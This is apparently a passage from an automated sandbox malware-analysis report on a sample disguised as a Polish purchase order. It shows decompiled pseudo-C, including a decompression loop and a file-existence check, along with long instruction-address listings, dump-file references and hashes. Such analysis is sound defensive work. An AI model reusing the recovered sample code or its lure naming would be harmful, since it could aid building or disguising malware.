								__eax = __eax +  *(__ebp - 0x74);
								__eflags = __eax;
							}
							__edx =  *(__ebp - 8);
							__cl =  *(__eax + __edx);
							__eax =  *(__ebp - 0x14);
							 *(__ebp - 0x5c) = __cl;
							 *(__eax + __edx) = __cl;
							__eax = __eax + 1;
							__edx = 0;
							_t274 = __eax %  *(__ebp - 0x74);
							__eax = __eax /  *(__ebp - 0x74);
							__edx = _t274;
							__eax =  *(__ebp - 0x68);
							 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
							 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
							_t283 = __ebp - 0x64;
							 *_t283 =  *(__ebp - 0x64) - 1;
							__eflags =  *_t283;
							 *( *(__ebp - 0x68)) = __cl;
							goto L79;
						case 0x1c:
							while(1) {
								L123:
								__eflags =  *(__ebp - 0x64);
								if( *(__ebp - 0x64) == 0) {
									break;
								}
								__eax =  *(__ebp - 0x14);
								__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
								__eflags = __eax -  *(__ebp - 0x74);
								if(__eax >=  *(__ebp - 0x74)) {
									__eax = __eax +  *(__ebp - 0x74);
									__eflags = __eax;
								}
								__edx =  *(__ebp - 8);
								__cl =  *(__eax + __edx);
								__eax =  *(__ebp - 0x14);
								 *(__ebp - 0x5c) = __cl;
								 *(__eax + __edx) = __cl;
								__eax = __eax + 1;
								__edx = 0;
								_t414 = __eax %  *(__ebp - 0x74);
								__eax = __eax /  *(__ebp - 0x74);
								__edx = _t414;
								__eax =  *(__ebp - 0x68);
								 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
								 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
								 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
								__eflags =  *(__ebp - 0x30);
								 *( *(__ebp - 0x68)) = __cl;
								 *(__ebp - 0x14) = __edx;
								if( *(__ebp - 0x30) > 0) {
									continue;
								} else {
									goto L80;
								}
							}
							 *(__ebp - 0x88) = 0x1c;
							goto L170;
					}
				}
			}













                                                                                              0x00000000
                                                                                              0x00406344
                                                                                              0x00406344
                                                                                              0x00406349
                                                                                              0x004063c0
                                                                                              0x004063c7
                                                                                              0x004063d1
                                                                                              0x004069b0
                                                                                              0x004069b0
                                                                                              0x004069b3
                                                                                              0x004069b3
                                                                                              0x004069b9
                                                                                              0x004069bf
                                                                                              0x004069c5
                                                                                              0x004069df
                                                                                              0x004069e2
                                                                                              0x004069e8
                                                                                              0x004069f3
                                                                                              0x004069f5
                                                                                              0x004069c7
                                                                                              0x004069c7
                                                                                              0x004069d6
                                                                                              0x004069da
                                                                                              0x004069da
                                                                                              0x004069ff
                                                                                              0x00406a26
                                                                                              0x00406a26
                                                                                              0x00406a2c
                                                                                              0x00406a2c
                                                                                              0x00000000
                                                                                              0x00406a01
                                                                                              0x00406a01
                                                                                              0x00406a05
                                                                                              0x00406bb4
                                                                                              0x00000000
                                                                                              0x00406bb4
                                                                                              0x00406a11
                                                                                              0x00406a18
                                                                                              0x00406a20
                                                                                              0x00406a23
                                                                                              0x00000000
                                                                                              0x00406a23
                                                                                              0x0040634b
                                                                                              0x0040634b
                                                                                              0x0040634f
                                                                                              0x00406357
                                                                                              0x0040635a
                                                                                              0x0040635c
                                                                                              0x0040635f
                                                                                              0x00406361
                                                                                              0x00406366
                                                                                              0x00406369
                                                                                              0x00406370
                                                                                              0x00406377
                                                                                              0x0040637a
                                                                                              0x00406385
                                                                                              0x0040638d
                                                                                              0x0040638d
                                                                                              0x00406387
                                                                                              0x00406387
                                                                                              0x00406387
                                                                                              0x0040637c
                                                                                              0x0040637c
                                                                                              0x0040637c
                                                                                              0x00406394
                                                                                              0x004063b2
                                                                                              0x004063b4
                                                                                              0x00406587
                                                                                              0x00406587
                                                                                              0x0040658a
                                                                                              0x0040658d
                                                                                              0x00406590
                                                                                              0x00406593
                                                                                              0x00406596
                                                                                              0x00406599
                                                                                              0x0040659c
                                                                                              0x0040659f
                                                                                              0x004065a5
                                                                                              0x004065bd
                                                                                              0x004065c0
                                                                                              0x004065c3
                                                                                              0x004065c6
                                                                                              0x004065c9
                                                                                              0x004065cf
                                                                                              0x004065a7
                                                                                              0x004065a7
                                                                                              0x004065af
                                                                                              0x004065b4
                                                                                              0x004065b6
                                                                                              0x004065b8
                                                                                              0x004065b8
                                                                                              0x004065d9
                                                                                              0x004065dc
                                                                                              0x0040657f
                                                                                              0x00406585
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x004065de
                                                                                              0x0040655a
                                                                                              0x0040655e
                                                                                              0x00406b66
                                                                                              0x00000000
                                                                                              0x00406b66
                                                                                              0x00406564
                                                                                              0x00406567
                                                                                              0x0040656a
                                                                                              0x0040656e
                                                                                              0x00406571
                                                                                              0x00406577
                                                                                              0x00406579
                                                                                              0x00406579
                                                                                              0x0040657c
                                                                                              0x00000000
                                                                                              0x0040657c
                                                                                              0x00406396
                                                                                              0x00406396
                                                                                              0x00406399
                                                                                              0x0040639f
                                                                                              0x004063a1
                                                                                              0x004063a1
                                                                                              0x004063a4
                                                                                              0x004063a7
                                                                                              0x004063a9
                                                                                              0x004063aa
                                                                                              0x004063ad
                                                                                              0x0040641a
                                                                                              0x0040641a
                                                                                              0x0040641e
                                                                                              0x00406421
                                                                                              0x00406424
                                                                                              0x00406427
                                                                                              0x0040642a
                                                                                              0x0040642b
                                                                                              0x0040642e
                                                                                              0x00406430
                                                                                              0x00406436
                                                                                              0x00406439
                                                                                              0x0040643c
                                                                                              0x0040643f
                                                                                              0x00406442
                                                                                              0x00406448
                                                                                              0x00406464
                                                                                              0x00406467
                                                                                              0x0040646a
                                                                                              0x0040646d
                                                                                              0x00406474
                                                                                              0x0040647a
                                                                                              0x0040647e
                                                                                              0x0040644a
                                                                                              0x0040644a
                                                                                              0x0040644e
                                                                                              0x00406456
                                                                                              0x0040645b
                                                                                              0x0040645d
                                                                                              0x0040645f
                                                                                              0x0040645f
                                                                                              0x00406488
                                                                                              0x0040648b
                                                                                              0x00406402
                                                                                              0x00406402
                                                                                              0x00406408
                                                                                              0x004064bb
                                                                                              0x004064c1
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x004064c3
                                                                                              0x004064c6
                                                                                              0x004064c9
                                                                                              0x004064cc
                                                                                              0x004064cf
                                                                                              0x004064d2
                                                                                              0x004064d5
                                                                                              0x004064d8
                                                                                              0x004064db
                                                                                              0x004064e1
                                                                                              0x004064f9
                                                                                              0x004064fc
                                                                                              0x004064ff
                                                                                              0x00406502
                                                                                              0x00406505
                                                                                              0x0040650b
                                                                                              0x004064e3
                                                                                              0x004064e3
                                                                                              0x004064eb
                                                                                              0x004064f0
                                                                                              0x004064f2
                                                                                              0x004064f4
                                                                                              0x004064f4
                                                                                              0x00406515
                                                                                              0x00406518
                                                                                              0x00406496
                                                                                              0x0040649a
                                                                                              0x00406b5a
                                                                                              0x00000000
                                                                                              0x00406b5a
                                                                                              0x004064a0
                                                                                              0x004064a3
                                                                                              0x004064a6
                                                                                              0x004064aa
                                                                                              0x004064ad
                                                                                              0x004064b3
                                                                                              0x004064b5
                                                                                              0x004064b5
                                                                                              0x004064b8
                                                                                              0x004064b8
                                                                                              0x00406518
                                                                                              0x0040651f
                                                                                              0x0040651f
                                                                                              0x0040651f
                                                                                              0x00406523
                                                                                              0x00406523
                                                                                              0x00406526
                                                                                              0x00406529
                                                                                              0x0040652d
                                                                                              0x00406b72
                                                                                              0x00000000
                                                                                              0x00406b72
                                                                                              0x00406533
                                                                                              0x00406536
                                                                                              0x00406539
                                                                                              0x0040653c
                                                                                              0x0040653f
                                                                                              0x00406542
                                                                                              0x00406545
                                                                                              0x00406547
                                                                                              0x0040654a
                                                                                              0x0040654d
                                                                                              0x00406550
                                                                                              0x00406552
                                                                                              0x00406552
                                                                                              0x00406552
                                                                                              0x004066ef
                                                                                              0x004066ef
                                                                                              0x004066f2
                                                                                              0x004066f2
                                                                                              0x00000000
                                                                                              0x004066f2
                                                                                              0x00406414
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00406491
                                                                                              0x004063dd
                                                                                              0x004063e1
                                                                                              0x00406b4e
                                                                                              0x00406bca
                                                                                              0x00406bd2
                                                                                              0x00406bd9
                                                                                              0x00406bdb
                                                                                              0x00406be2
                                                                                              0x00406be6
                                                                                              0x00406be6
                                                                                              0x004063e7
                                                                                              0x004063ea
                                                                                              0x004063ed
                                                                                              0x004063f1
                                                                                              0x004063f4
                                                                                              0x004063fa
                                                                                              0x004063fc
                                                                                              0x004063fc
                                                                                              0x004063ff
                                                                                              0x00000000
                                                                                              0x004063ff
                                                                                              0x0040648b
                                                                                              0x00406394
                                                                                              0x004061c8
                                                                                              0x004061c8
                                                                                              0x004061d1
                                                                                              0x00406bdf
                                                                                              0x00406bdf
                                                                                              0x00000000
                                                                                              0x00406bdf
                                                                                              0x004061d7
                                                                                              0x00000000
                                                                                              0x004061e2
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x004061eb
                                                                                              0x004061ee
                                                                                              0x004061f1
                                                                                              0x004061f5
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x004061fb
                                                                                              0x004061fe
                                                                                              0x00406200
                                                                                              0x00406201
                                                                                              0x00406204
                                                                                              0x00406206
                                                                                              0x00406207
                                                                                              0x00406209
                                                                                              0x0040620c
                                                                                              0x00406211
                                                                                              0x00406216
                                                                                              0x0040621f
                                                                                              0x00406232
                                                                                              0x00406235
                                                                                              0x00406241
                                                                                              0x00406269
                                                                                              0x0040626b
                                                                                              0x00406279
                                                                                              0x00406279
                                                                                              0x0040627d
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x0040626d
                                                                                              0x0040626d
                                                                                              0x00406270
                                                                                              0x00406271
                                                                                              0x00406271
                                                                                              0x00000000
                                                                                              0x0040626d
                                                                                              0x00406247
                                                                                              0x0040624c
                                                                                              0x0040624c
                                                                                              0x00406255
                                                                                              0x0040625d
                                                                                              0x00406260
                                                                                              0x00000000
                                                                                              0x00406266
                                                                                              0x00406266
                                                                                              0x00000000
                                                                                              0x00406266
                                                                                              0x00000000
                                                                                              0x00406283
                                                                                              0x00406283
                                                                                              0x00406287
                                                                                              0x00406b33
                                                                                              0x00000000
                                                                                              0x00406b33
                                                                                              0x00406290
                                                                                              0x004062a0
                                                                                              0x004062a3
                                                                                              0x004062a6
                                                                                              0x004062a6
                                                                                              0x004062a6
                                                                                              0x004062a9
                                                                                              0x004062ad
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x004062af
                                                                                              0x004062b5
                                                                                              0x004062df
                                                                                              0x004062e5
                                                                                              0x004062ec
                                                                                              0x00000000
                                                                                              0x004062ec
                                                                                              0x004062bb
                                                                                              0x004062be
                                                                                              0x004062c3
                                                                                              0x004062c3
                                                                                              0x004062ce
                                                                                              0x004062d6
                                                                                              0x004062d9
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x0040631e
                                                                                              0x00406324
                                                                                              0x00406327
                                                                                              0x00406334
                                                                                              0x0040633c
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x004062f3
                                                                                              0x004062f3
                                                                                              0x004062f7
                                                                                              0x00406b42
                                                                                              0x00000000
                                                                                              0x00406b42
                                                                                              0x00406303
                                                                                              0x0040630e
                                                                                              0x0040630e
                                                                                              0x0040630e
                                                                                              0x00406311
                                                                                              0x00406314
                                                                                              0x00406317
                                                                                              0x0040631c
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x004065e3
                                                                                              0x004065e7
                                                                                              0x00406605
                                                                                              0x00406608
                                                                                              0x0040660f
                                                                                              0x00406612
                                                                                              0x00406615
                                                                                              0x00406618
                                                                                              0x0040661b
                                                                                              0x0040661e
                                                                                              0x00406620
                                                                                              0x00406627
                                                                                              0x00406628
                                                                                              0x0040662a
                                                                                              0x0040662d
                                                                                              0x00406630
                                                                                              0x00406633
                                                                                              0x00406633
                                                                                              0x00406638
                                                                                              0x00000000
                                                                                              0x00406638
                                                                                              0x004065e9
                                                                                              0x004065ec
                                                                                              0x004065ef
                                                                                              0x004065f9
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x0040664d
                                                                                              0x00406651
                                                                                              0x00406674
                                                                                              0x00406677
                                                                                              0x0040667a
                                                                                              0x00406684
                                                                                              0x00406653
                                                                                              0x00406653
                                                                                              0x00406656
                                                                                              0x00406659
                                                                                              0x0040665c
                                                                                              0x00406669
                                                                                              0x0040666c
                                                                                              0x0040666c
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00406690
                                                                                              0x00406694
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x0040669a
                                                                                              0x0040669e
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x004066a4
                                                                                              0x004066a6
                                                                                              0x004066aa
                                                                                              0x004066aa
                                                                                              0x004066ad
                                                                                              0x004066b1
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00406701
                                                                                              0x00406705
                                                                                              0x0040670c
                                                                                              0x0040670f
                                                                                              0x00406712
                                                                                              0x0040671c
                                                                                              0x00000000
                                                                                              0x0040671c
                                                                                              0x00406707
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00406728
                                                                                              0x0040672c
                                                                                              0x00406733
                                                                                              0x00406736
                                                                                              0x00406739
                                                                                              0x0040672e
                                                                                              0x0040672e
                                                                                              0x0040672e
                                                                                              0x0040673c
                                                                                              0x0040673f
                                                                                              0x00406742
                                                                                              0x00406742
                                                                                              0x00406745
                                                                                              0x00406748
                                                                                              0x0040674b
                                                                                              0x0040674b
                                                                                              0x0040674e
                                                                                              0x00406755
                                                                                              0x0040675a
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x004067e8
                                                                                              0x004067e8
                                                                                              0x004067ec
                                                                                              0x00406b8a
                                                                                              0x00000000
                                                                                              0x00406b8a
                                                                                              0x004067f2
                                                                                              0x004067f5
                                                                                              0x004067f8
                                                                                              0x004067fc
                                                                                              0x004067ff
                                                                                              0x00406805
                                                                                              0x00406807
                                                                                              0x00406807
                                                                                              0x00406807
                                                                                              0x0040680a
                                                                                              0x0040680d
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x0040686b
                                                                                              0x0040686b
                                                                                              0x0040686f
                                                                                              0x00406b96
                                                                                              0x00000000
                                                                                              0x00406b96
                                                                                              0x00406875
                                                                                              0x00406878
                                                                                              0x0040687b
                                                                                              0x0040687f
                                                                                              0x00406882
                                                                                              0x00406888
                                                                                              0x0040688a
                                                                                              0x0040688a
                                                                                              0x0040688a
                                                                                              0x0040688d
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x0040663b
                                                                                              0x0040663b
                                                                                              0x0040663e
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x0040697a
                                                                                              0x0040697e
                                                                                              0x004069a0
                                                                                              0x004069a3
                                                                                              0x004069ad
                                                                                              0x00000000
                                                                                              0x004069ad
                                                                                              0x00406980
                                                                                              0x00406983
                                                                                              0x00406987
                                                                                              0x0040698a
                                                                                              0x0040698a
                                                                                              0x0040698d
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00406a37
                                                                                              0x00406a3b
                                                                                              0x00406a59
                                                                                              0x00406a59
                                                                                              0x00406a59
                                                                                              0x00406a60
                                                                                              0x00406a67
                                                                                              0x00406a6e
                                                                                              0x00406a6e
                                                                                              0x00000000
                                                                                              0x00406a6e
                                                                                              0x00406a3d
                                                                                              0x00406a40
                                                                                              0x00406a43
                                                                                              0x00406a46
                                                                                              0x00406a4d
                                                                                              0x00406991
                                                                                              0x00406991
                                                                                              0x00406994
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00406b28
                                                                                              0x00406b2b
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00406762
                                                                                              0x00406764
                                                                                              0x0040676b
                                                                                              0x0040676c
                                                                                              0x0040676e
                                                                                              0x00406771
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00406779
                                                                                              0x0040677c
                                                                                              0x0040677f
                                                                                              0x00406781
                                                                                              0x00406783
                                                                                              0x00406783
                                                                                              0x00406784
                                                                                              0x00406787
                                                                                              0x0040678e
                                                                                              0x00406791
                                                                                              0x0040679f
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00406a75
                                                                                              0x00406a75
                                                                                              0x00406a78
                                                                                              0x00406a7f
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00406a84
                                                                                              0x00406a84
                                                                                              0x00406a88
                                                                                              0x00406bc0
                                                                                              0x00000000
                                                                                              0x00406bc0
                                                                                              0x00406a8e
                                                                                              0x00406a91
                                                                                              0x00406a94
                                                                                              0x00406a98
                                                                                              0x00406a9b
                                                                                              0x00406aa1
                                                                                              0x00406aa3
                                                                                              0x00406aa3
                                                                                              0x00406aa3
                                                                                              0x00406aa6
                                                                                              0x00406aa9
                                                                                              0x00406aa9
                                                                                              0x00406aa9
                                                                                              0x00406aa9
                                                                                              0x00406aac
                                                                                              0x00406aac
                                                                                              0x00406ab0
                                                                                              0x00406b10
                                                                                              0x00406b13
                                                                                              0x00406b18
                                                                                              0x00406b19
                                                                                              0x00406b1b
                                                                                              0x00406b1d
                                                                                              0x00406b20
                                                                                              0x00000000
                                                                                              0x00406b20
                                                                                              0x00406ab2
                                                                                              0x00406ab8
                                                                                              0x00406abb
                                                                                              0x00406abe
                                                                                              0x00406ac1
                                                                                              0x00406ac4
                                                                                              0x00406ac7
                                                                                              0x00406aca
                                                                                              0x00406acd
                                                                                              0x00406ad0
                                                                                              0x00406ad3
                                                                                              0x00406aec
                                                                                              0x00406aef
                                                                                              0x00406af2
                                                                                              0x00406af5
                                                                                              0x00406af9
                                                                                              0x00406afb
                                                                                              0x00406afb
                                                                                              0x00406afc
                                                                                              0x00406aff
                                                                                              0x00406ad5
                                                                                              0x00406ad5
                                                                                              0x00406add
                                                                                              0x00406ae2
                                                                                              0x00406ae4
                                                                                              0x00406ae7
                                                                                              0x00406ae7
                                                                                              0x00406b02
                                                                                              0x00406b09
                                                                                              0x00000000
                                                                                              0x00406b0b
                                                                                              0x00000000
                                                                                              0x00406b0b
                                                                                              0x00000000
                                                                                              0x004067a7
                                                                                              0x004067aa
                                                                                              0x004067e0
                                                                                              0x00406910
                                                                                              0x00406910
                                                                                              0x00406910
                                                                                              0x00406910
                                                                                              0x00406913
                                                                                              0x00406913
                                                                                              0x00406916
                                                                                              0x00406918
                                                                                              0x00406ba2
                                                                                              0x00000000
                                                                                              0x00406ba2
                                                                                              0x0040691e
                                                                                              0x00406921
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00406927
                                                                                              0x0040692b
                                                                                              0x0040692e
                                                                                              0x0040692e
                                                                                              0x0040692e
                                                                                              0x00000000
                                                                                              0x0040692e
                                                                                              0x004067ac
                                                                                              0x004067ae
                                                                                              0x004067b0
                                                                                              0x004067b2
                                                                                              0x004067b5
                                                                                              0x004067b6
                                                                                              0x004067b8
                                                                                              0x004067ba
                                                                                              0x004067bd
                                                                                              0x004067c0
                                                                                              0x004067d6
                                                                                              0x004067db
                                                                                              0x00406813
                                                                                              0x00406813
                                                                                              0x00406817
                                                                                              0x00406843
                                                                                              0x00406845
                                                                                              0x0040684c
                                                                                              0x0040684f
                                                                                              0x00406852
                                                                                              0x00406852
                                                                                              0x00406857
                                                                                              0x00406857
                                                                                              0x00406859
                                                                                              0x0040685c
                                                                                              0x00406863
                                                                                              0x00406866
                                                                                              0x00406893
                                                                                              0x00406893
                                                                                              0x00406896
                                                                                              0x00406899
                                                                                              0x0040690d
                                                                                              0x0040690d
                                                                                              0x0040690d
                                                                                              0x00000000
                                                                                              0x0040690d
                                                                                              0x0040689b
                                                                                              0x004068a1
                                                                                              0x004068a4
                                                                                              0x004068a7
                                                                                              0x004068aa
                                                                                              0x004068ad
                                                                                              0x004068b0
                                                                                              0x004068b3
                                                                                              0x004068b6
                                                                                              0x004068b9
                                                                                              0x004068bc
                                                                                              0x004068d5
                                                                                              0x004068d7
                                                                                              0x004068da
                                                                                              0x004068db
                                                                                              0x004068de
                                                                                              0x004068e0
                                                                                              0x004068e3
                                                                                              0x004068e5
                                                                                              0x004068e7
                                                                                              0x004068ea
                                                                                              0x004068ec
                                                                                              0x004068ef
                                                                                              0x004068f3
                                                                                              0x004068f5
                                                                                              0x004068f5
                                                                                              0x004068f6
                                                                                              0x004068f9
                                                                                              0x004068fc
                                                                                              0x004068be
                                                                                              0x004068be
                                                                                              0x004068c6
                                                                                              0x004068cb
                                                                                              0x004068cd
                                                                                              0x004068d0
                                                                                              0x004068d0
                                                                                              0x004068ff
                                                                                              0x00406906
                                                                                              0x00406890
                                                                                              0x00406890
                                                                                              0x00406890
                                                                                              0x00406890
                                                                                              0x00000000
                                                                                              0x00406908
                                                                                              0x00000000
                                                                                              0x00406908
                                                                                              0x00406906
                                                                                              0x00406819
                                                                                              0x0040681c
                                                                                              0x0040681e
                                                                                              0x00406821
                                                                                              0x00406824
                                                                                              0x00406827
                                                                                              0x00406829
                                                                                              0x0040682c
                                                                                              0x0040682f
                                                                                              0x0040682f
                                                                                              0x00406832
                                                                                              0x00406832
                                                                                              0x00406835
                                                                                              0x0040683c
                                                                                              0x00406810
                                                                                              0x00406810
                                                                                              0x00406810
                                                                                              0x00406810
                                                                                              0x00000000
                                                                                              0x0040683e
                                                                                              0x00000000
                                                                                              0x0040683e
                                                                                              0x0040683c
                                                                                              0x004067c2
                                                                                              0x004067c5
                                                                                              0x004067c7
                                                                                              0x004067ca
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x004066b4
                                                                                              0x004066b4
                                                                                              0x004066b8
                                                                                              0x00406b7e
                                                                                              0x00000000
                                                                                              0x00406b7e
                                                                                              0x004066be
                                                                                              0x004066c1
                                                                                              0x004066c4
                                                                                              0x004066c7
                                                                                              0x004066c9
                                                                                              0x004066c9
                                                                                              0x004066c9
                                                                                              0x004066cc
                                                                                              0x004066cf
                                                                                              0x004066d2
                                                                                              0x004066d5
                                                                                              0x004066d8
                                                                                              0x004066db
                                                                                              0x004066dc
                                                                                              0x004066de
                                                                                              0x004066de
                                                                                              0x004066de
                                                                                              0x004066e1
                                                                                              0x004066e4
                                                                                              0x004066e7
                                                                                              0x004066ea
                                                                                              0x004066ea
                                                                                              0x004066ea
                                                                                              0x004066ed
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x00406931
                                                                                              0x00406931
                                                                                              0x00406931
                                                                                              0x00406935
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x0040693b
                                                                                              0x0040693e
                                                                                              0x00406941
                                                                                              0x00406944
                                                                                              0x00406946
                                                                                              0x00406946
                                                                                              0x00406946
                                                                                              0x00406949
                                                                                              0x0040694c
                                                                                              0x0040694f
                                                                                              0x00406952
                                                                                              0x00406955
                                                                                              0x00406958
                                                                                              0x00406959
                                                                                              0x0040695b
                                                                                              0x0040695b
                                                                                              0x0040695b
                                                                                              0x0040695e
                                                                                              0x00406961
                                                                                              0x00406964
                                                                                              0x00406967
                                                                                              0x0040696a
                                                                                              0x0040696e
                                                                                              0x00406970
                                                                                              0x00406973
                                                                                              0x00000000
                                                                                              0x00406975
                                                                                              0x00000000
                                                                                              0x00406975
                                                                                              0x00406973
                                                                                              0x00406ba8
                                                                                              0x00000000
                                                                                              0x00000000
                                                                                              0x004061d7

                                                                                              Memory Dump Source
                                                                                              • Source File: 00000001.00000002.14098101482.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                              • Associated: 00000001.00000002.14098060784.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098197132.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.000000000043E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_1_2_400000_Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaros.jbxd
                                                                                              Similarity
                                                                                              • API ID:
                                                                                              • String ID:
                                                                                              • API String ID:
                                                                                              • Opcode ID: e28a8ad83f22bfe4c4d455a141f03dc38bf257c2203b46f6b1d5cba347f55b6d
                                                                                              • Instruction ID: a8746b25a1c6b49bbeafbf020c2dfcaa04563a9eac1a8e827fb2969916571183
                                                                                              • Opcode Fuzzy Hash: e28a8ad83f22bfe4c4d455a141f03dc38bf257c2203b46f6b1d5cba347f55b6d
                                                                                              • Instruction Fuzzy Hash: 70F17670D00229CBCF18CFA8C8946ADBBB1FF44305F25816ED856BB281D7786A96CF44
                                                                                              Uniqueness

                                                                                              Uniqueness Score: -1.00%

                                                                                              Function 00405FFD Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 14fileCOMMON
                                                                                              Download Yara Rule
                                                                                              C-Code - Quality: 100%
                                                                                              			E00405FFD(CHAR* _a4) {
				void* _t2;

				_t2 = FindFirstFileA(_a4, 0x421558); // executed
				if(_t2 == 0xffffffff) {
					return 0;
				}
				FindClose(_t2); // executed
				return 0x421558;
			}




                                                                                              0x00406008
                                                                                              0x00406011
                                                                                              0x00000000
                                                                                              0x0040601e
                                                                                              0x00406014
                                                                                              0x00000000

                                                                                              APIs
                                                                                              • FindFirstFileA.KERNELBASE(76283410,00421558,C:\Users\user\AppData\Local\Temp\nsgB1F9.tmp,0040589C,C:\Users\user\AppData\Local\Temp\nsgB1F9.tmp,C:\Users\user\AppData\Local\Temp\nsgB1F9.tmp,00000000,C:\Users\user\AppData\Local\Temp\nsgB1F9.tmp,C:\Users\user\AppData\Local\Temp\nsgB1F9.tmp,76283410,?,C:\Users\user\AppData\Local\Temp\,004055BB,?,76283410,C:\Users\user\AppData\Local\Temp\), ref: 00406008
                                                                                              • FindClose.KERNELBASE(00000000), ref: 00406014
                                                                                              Strings
                                                                                              • C:\Users\user\AppData\Local\Temp\nsgB1F9.tmp, xrefs: 00405FFD
                                                                                              Memory Dump Source
                                                                                              • Source File: 00000001.00000002.14098101482.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                              • Associated: 00000001.00000002.14098060784.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098197132.0000000000407000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000409000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000421000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.0000000000429000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098248577.000000000043B000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.000000000043E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.0000000000440000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              • Associated: 00000001.00000002.14098506750.0000000000480000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                              Joe Sandbox IDA Plugin
                                                                                              • Snapshot File: hcaresult_1_2_400000_Pilne zamowienie nr5363582 UTECH Maszyny i Urzadzenia Techniczne Jaros.jbxd
                                                                                              Similarity
                                                                                              • API ID: Find$CloseFileFirst
                                                                                              • String ID: C:\Users\user\AppData\Local\Temp\nsgB1F9.tmp
                                                                                              • API String ID: 2295610775-1381924930
                                                                                              • Opcode ID: fb61142ecab510d9bb051178c92cda44e9a3fae507c1338c77e1024ce068b834
                                                                                              • Instruction ID: 1297c1e42099762feae64532f60583430090df1d404adb2e37743a0561846f6f
                                                                                              • Opcode Fuzzy Hash: fb61142ecab510d9bb051178c92cda44e9a3fae507c1338c77e1024ce068b834
                                                                                              • Instruction Fuzzy Hash: 8CD012319491206BC3105B38AD0C85B7A599F593317118A33F567F52F0C7788C7296E9
                                                                                              Uniqueness

                                                                                              Uniqueness Score: -1.00%

                                                                                              Function 00403A0B Relevance: 59.8, APIs: 32, Strings: 2, Instructions: 345windowstringCOMMON
                                                                                              Download Yara Rule

                                                                                              Control-flow Graph

                                                                                              • Executed
                                                                                              • Not Executed
